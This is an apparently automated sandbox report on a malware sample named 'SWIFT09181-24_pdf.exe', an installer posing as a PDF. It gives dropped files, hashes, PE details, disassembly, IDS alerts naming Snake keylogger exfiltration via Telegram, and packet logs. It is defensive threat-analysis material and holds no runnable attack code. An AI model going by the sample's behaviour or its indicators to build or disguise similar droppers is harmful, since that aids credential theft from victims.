Preview:	pandas omflakkendes tribrachic miskenning.nonvitally subcase syvendelens weighin.tilhreres lysed metencephalons aabentstaaendes arbejdsmarkedsstyrelsers.kodeskrifter indgaaet nstnederst desulphurise badevgtene caliche.reabsorption erhvervskommunernes aktuarerne ammunition whilere sughs.tusindaarigt barkers landholders butylation phrenicocolic.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\fyldebtten.soi

Download File

Process:	C:\Users\user\Desktop\SWIFT09181-24_pdf.exe
File Type:	Matlab v4 mat-file (little endian) ', numeric, rows 63, columns 0
Category:	dropped
Size (bytes):	210366
Entropy (8bit):	1.240975322465592
Encrypted:	false
SSDEEP:	768:vBTwJOLxCIF0V6iLboHog6BQlsMqlN1R0pmGy30wbfq6+9GmlsNh34k0uJ/QohER:cJigyyDJnLH7zA
MD5:	AEF78D8D561E8802286A78AAC6C73ED6
SHA1:	DDF5DA649482D0A553802827BB9F0EF64A7069E1
SHA-256:	45F24543C01C9A11CC2246A9B27569AF433EEF61C877A4E191B683315D3566BE
SHA-512:	93D43C0CECADF8E1F507F8E58D2B4D92995D8F7ECF213A23559938B380033A6D0D80B0816A8D6603864F821F4FEDC988E0F79BE14C6892089178970E08DC4199
Malicious:	false
Reputation:	low
Preview:	....?...........*=..'...........................m........................y............................................................................H.......................................c.......x........................................................:...s.......................+.........................................~.....2........C..Z...................................k............................i.........................................{...............................................?%............................................................................Z................................v.............<.....'.............L..........................................+...............................s.........................................W........................`........................[..............&..................T................................j......M......[.....................c.............................................9.......................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\wildwestfilm.sto

Download File

Process:	C:\Users\user\Desktop\SWIFT09181-24_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	363811
Entropy (8bit):	1.2512349423386382
Encrypted:	false
SSDEEP:	768:y2f405GRYtnSLOBbyCociR2TVuEpHsVURGxwGmXjyMB+CtKDOgt9rlHF1QOs+9m5:pIuagbnK7CwVwFpYogwhUsvCq
MD5:	BFEA15C03AB295424981A73637A19491
SHA1:	A5ADABDDC373D6B3004F96946D84B651E42D9F5C
SHA-256:	83E9CE74259889DCABD39D41131F286882B224698DCDEB8D0B4074069AAA687B
SHA-512:	CB5969BFFAED8AF1791938E924E0CC9F876E45165F4E7EA5E9249131FACA831C0600F14BD68EF041D18C81A3FBE087970043D1B3B8A6786C1E5E5049834D4D0D
Malicious:	false
Reputation:	low
Preview:	...................................................E....................................j.A..(.......................................+..........................$.............................................z.L........%......t...................................2l.............1.............................................................................U...g.......................`............................................................0..................................J......................................K...R...............................................................&...c......................................S......!...8..................Y......................................................>u........T...................L........................................................................0.........................................W.....L.n.....................................$.b...........B..................................................8...............!...............

C:\Users\user\AppData\Local\Temp\nsw967F.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\SWIFT09181-24_pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.655335921632966
Encrypted:	false
SSDEEP:	192:eF24sihno00Wfl97nH6T2enXwWobpWBTU4VtHT7dmN35Ol9Sl:h8QIl975eXqlWBrz7YLOl9
MD5:	EE260C45E97B62A5E42F17460D406068
SHA1:	DF35F6300A03C4D3D3BD69752574426296B78695
SHA-256:	E94A1F7BCD7E0D532B660D0AF468EB3321536C3EFDCA265E61F9EC174B1AEF27
SHA-512:	A98F350D17C9057F33E5847462A87D59CBF2AAEDA7F6299B0D49BB455E484CE4660C12D2EB8C4A0D21DF523E729222BBD6C820BF25B081BC7478152515B414B3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: O0rhQM49FL.exe, Detection: malicious, Browse Filename: O0rhQM49FL.exe, Detection: malicious, Browse Filename: 5WP9WCM8qV.exe, Detection: malicious, Browse Filename: 5WP9WCM8qV.exe, Detection: malicious, Browse Filename: K8ZvbdkrGx.exe, Detection: malicious, Browse Filename: K8ZvbdkrGx.exe, Detection: malicious, Browse Filename: JOSXXL1.exe, Detection: malicious, Browse Filename: Certificado FNMT-RCM.exe, Detection: malicious, Browse Filename: Produccion.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.GenericKD.74281746.21507.1551.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L...]..V...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..b....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\Benchership141.lnk

Download File

Process:	C:\Users\user\Desktop\SWIFT09181-24_pdf.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Category:	dropped
Size (bytes):	1156
Entropy (8bit):	3.250976511083343
Encrypted:	false
SSDEEP:	12:8wl0asXowAOcQ/tz0/CSL6/cBnwgXl341DEDeG41DED/RKQ1olfW+kjcmAahTCN7:8xLDWLrFPjPL9izZMspdqy
MD5:	DA3120C581FD7369156BF3B9B82815B5
SHA1:	12B60059AE6BCFFFADEB2D4BDD2B4000E5295362
SHA-256:	5EA5E2BC538A59AA6F16F46991007F577B6EA4B456D42CBBDCF25EAB84FFA971
SHA-512:	B65020A6B78960BED204A4F4C39BEE4BD43E28349DB8D61C91788D6600E89204DFFB4D9087434D8A924994C04C8C36F2A3D69563FDA8AE1D34A333F017AC2FD6
Malicious:	false
Reputation:	low
Preview:	L..................F........................................................m....P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....P.1...........user.<............................................j.o.n.e.s.....V.1...........AppData.@............................................A.p.p.D.a.t.a.....V.1...........Roaming.@............................................R.o.a.m.i.n.g.....b.1...........mindevrdigt.H............................................m.i.n.d.e.v.r.d.i.g.t.......2...........boghandlermedhjlperens.tor..f............................................b.o.g.h.a.n.d.l.e.r.m.e.d.h.j.l.p.e.r.e.n.s...t.o.r...*.../.....\.....\.....\.m.i.n.d.e.v.r.d.i.g.t.\.b.o.g.h.a.n.d.l.e.r.m.e.d.h.j.l.p.e.r.e.n.s...t.o.r.O.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.I.N.e.t.C.a.c.h.e.\.r.a.p.i.d.i.t.e.t.e.n.s.\.f.r.e.m.t.v.i.n.g.............y.............>.e.L.:..er.=y....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.964353590785383
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SWIFT09181-24_pdf.exe
File size:	484'309 bytes
MD5:	e47d302ad20a15e7c4816b5e7b236699
SHA1:	784795652df30bc7919b8fd74df3056df586c4e8
SHA256:	7683dbf87b229a5c18546c930ccf2625f3cf8443a8deddd5c18446fd953e3cd4
SHA512:	dfccf948fc36fdb83adbe56cc8010c7aa17d2e56c5854003c395cb498469429fea4bf65a42505a013f9fc45fe33bc0754ab0e0f5f0801e912466a9217f7a0471
SSDEEP:	12288:I5AjfSA+NkoaVfXmCgWl7j+Hu7Jj1JK8s5FEeKM:ZOioa5XmCJdjIu7Jj1Jiceh
TLSH:	F3A4234142B8C947F972873C6E37BFBB7A7E231652605F06A3500E667C70A528CAF85D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...P...P...P.._...P...P..NP.._...P...s...P...V...P..Rich.P..........................PE..L......V.................d.........

File Icon


Icon Hash:	3d2e0f95332b3399

Static PE Info

General

Entrypoint:	0x4032a0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x567F847F [Sun Dec 27 06:26:07 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	d4b94e8ee3f620a89d114b9da4b31873

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebp
push esi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+0Ch], ebp
push 00008001h
mov dword ptr [esp+0Ch], 0040A300h
mov dword ptr [esp+18h], ebp
call dword ptr [004080B0h]
call dword ptr [004080ACh]
cmp ax, 00000006h
je 00007FE094BCDCA3h
push ebp
call 00007FE094BD0DE6h
cmp eax, ebp
je 00007FE094BCDC99h
push 00000C00h
call eax
push ebx
push edi
push 0040A2F4h
call 00007FE094BD0D63h
push 0040A2ECh
call 00007FE094BD0D59h
push 0040A2E0h
call 00007FE094BD0D4Fh
push 00000009h
call 00007FE094BD0DB4h
push 00000007h
call 00007FE094BD0DADh
mov dword ptr [00434F04h], eax
call dword ptr [00408044h]
push ebp
call dword ptr [004082A8h]
mov dword ptr [00434FB8h], eax
push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 0042B228h
call dword ptr [0040818Ch]
push 0040A2C8h
push 00433F00h
call 00007FE094BD099Ah
call dword ptr [004080A8h]
mov ebx, 0043F000h
push eax
push ebx
call 00007FE094BD0988h
push ebp
call dword ptr [00408178h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x85c8	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5d000	0x11e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x637c	0x6400	83ff228d6dae8dd738eb2f78afbc793f	False	0.672421875	data	6.491609540807675	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x147c	0x1600	d9f9b0b330e238260616b62a7a3cac09	False	0.42933238636363635	data	4.973928345594701	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2aff8	0x600	3f2b05c8fbb8b2e4c9c89e93d30e7252	False	0.53125	data	4.133631086111171	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x35000	0x28000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5d000	0x11e0	0x1200	20639f4e7c421f5379e2fb9ea4a1530d	False	0.3684895833333333	data	4.485045860065118	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x5d268	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x5d5d0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.42473118279569894
RT_DIALOG	0x5d8b8	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x5da00	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0x5db40	0x100	data	English	United States	0.5234375
RT_DIALOG	0x5dc40	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x5dd60	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x5de28	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x5de88	0x14	data	English	United States	1.2
RT_MANIFEST	0x5dea0	0x33f	XML 1.0 document, ASCII text, with very long lines (831), with no line terminators	English	United States	0.5547533092659447

Imports

DLL	Import
KERNEL32.dll	SetCurrentDirectoryW, GetFileAttributesW, GetFullPathNameW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, MoveFileW, SetFileAttributesW, GetCurrentProcess, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, CompareFileTime, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, lstrcpyW, MoveFileExW, lstrcatW, GetSystemDirectoryW, LoadLibraryW, GetProcAddress, GetModuleHandleA, ExpandEnvironmentStringsW, GetShortPathNameW, SearchPathW, lstrcmpiW, SetFileTime, CloseHandle, GlobalFree, lstrcmpW, GlobalAlloc, WaitForSingleObject, GlobalUnlock, GetDiskFreeSpaceW, GetExitCodeProcess, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, lstrlenA, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, IsWindowEnabled, EnableMenuItem, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, wsprintfW, ScreenToClient, GetWindowRect, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, GetDC, SetWindowTextW, PostQuitMessage, ShowWindow, GetDlgItem, IsWindow, LoadImageW, SetWindowLongW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, SetTimer, FindWindowExW, SendMessageTimeoutW, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegDeleteKeyW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges, RegOpenKeyExW, RegEnumValueW, RegDeleteValueW, RegCloseKey, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-15T18:29:45.858880+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49837	216.58.208.238	443	TCP
2024-12-15T18:29:53.504085+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49858	193.122.130.0	80	TCP
2024-12-15T18:30:01.941772+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49858	193.122.130.0	80	TCP
2024-12-15T18:30:06.300477+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49885	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 15, 2024 18:29:43.246592999 CET	49837	443	192.168.2.4	216.58.208.238
Dec 15, 2024 18:29:43.246627092 CET	443	49837	216.58.208.238	192.168.2.4
Dec 15, 2024 18:29:43.246717930 CET	49837	443	192.168.2.4	216.58.208.238
Dec 15, 2024 18:29:43.258887053 CET	49837	443	192.168.2.4	216.58.208.238
Dec 15, 2024 18:29:43.258903027 CET	443	49837	216.58.208.238	192.168.2.4
Dec 15, 2024 18:29:44.956856966 CET	443	49837	216.58.208.238	192.168.2.4
Dec 15, 2024 18:29:44.957113981 CET	49837	443	192.168.2.4	216.58.208.238
Dec 15, 2024 18:29:44.957518101 CET	443	49837	216.58.208.238	192.168.2.4
Dec 15, 2024 18:29:44.957587957 CET	49837	443	192.168.2.4	216.58.208.238
Dec 15, 2024 18:29:45.010179996 CET	49837	443	192.168.2.4	216.58.208.238
Dec 15, 2024 18:29:45.010262012 CET	443	49837	216.58.208.238	192.168.2.4
Dec 15, 2024 18:29:45.010489941 CET	443	49837	216.58.208.238	192.168.2.4
Dec 15, 2024 18:29:45.010653973 CET	49837	443	192.168.2.4	216.58.208.238
Dec 15, 2024 18:29:45.015379906 CET	49837	443	192.168.2.4	216.58.208.238
Dec 15, 2024 18:29:45.059425116 CET	443	49837	216.58.208.238	192.168.2.4
Dec 15, 2024 18:29:45.858688116 CET	443	49837	216.58.208.238	192.168.2.4
Dec 15, 2024 18:29:45.858886957 CET	49837	443	192.168.2.4	216.58.208.238
Dec 15, 2024 18:29:45.859203100 CET	49837	443	192.168.2.4	216.58.208.238
Dec 15, 2024 18:29:45.859289885 CET	443	49837	216.58.208.238	192.168.2.4
Dec 15, 2024 18:29:45.859354019 CET	49837	443	192.168.2.4	216.58.208.238
Dec 15, 2024 18:29:46.017631054 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:46.017723083 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:46.018052101 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:46.018202066 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:46.018249035 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:47.738897085 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:47.739166021 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:47.744045973 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:47.744121075 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:47.744488001 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:47.744570017 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:47.745100975 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:47.787369013 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.677480936 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.677656889 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.693622112 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.693732977 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.803107023 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.803277016 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.807271004 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.807745934 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.807843924 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.808306932 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.870893955 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.871140957 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.872668982 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.872911930 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.880515099 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.880839109 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.880903006 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.881156921 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.888127089 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.888324976 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.890333891 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.890680075 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.895018101 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.895363092 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.899430037 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.899637938 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.906997919 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.907223940 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.913183928 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.913647890 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.916961908 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.917212963 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.928625107 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.929337978 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.931337118 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.931467056 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.941303968 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.941478968 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.943759918 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.943844080 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.956219912 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.956696987 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.958699942 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.959064007 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.970688105 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.970890045 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.973357916 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.973424911 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.983442068 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.983525038 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.986363888 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.986557961 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.995263100 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.995414019 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:50.995476007 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:50.995556116 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.009665012 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.009727001 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.039673090 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.039752960 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.039787054 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.039861917 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.062442064 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.062542915 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.062558889 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.062621117 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.065052032 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.065262079 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.065275908 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.065335989 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.069097996 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.069169044 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.071804047 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.071885109 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.071897984 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.071959019 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.083683014 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.083753109 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.083801985 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.083861113 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.083874941 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.083937883 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.095047951 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.095160961 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.095175028 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.095231056 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.105298042 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.105372906 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.105525017 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.105581999 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.116703987 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.116765022 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.116779089 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.116931915 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.126113892 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.126333952 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.126348972 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.126427889 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.136126995 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.136471033 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.136534929 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.136868000 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.146986008 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.147305012 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.147403002 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.147603035 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.156241894 CET	443	49846	172.217.17.65	192.168.2.4
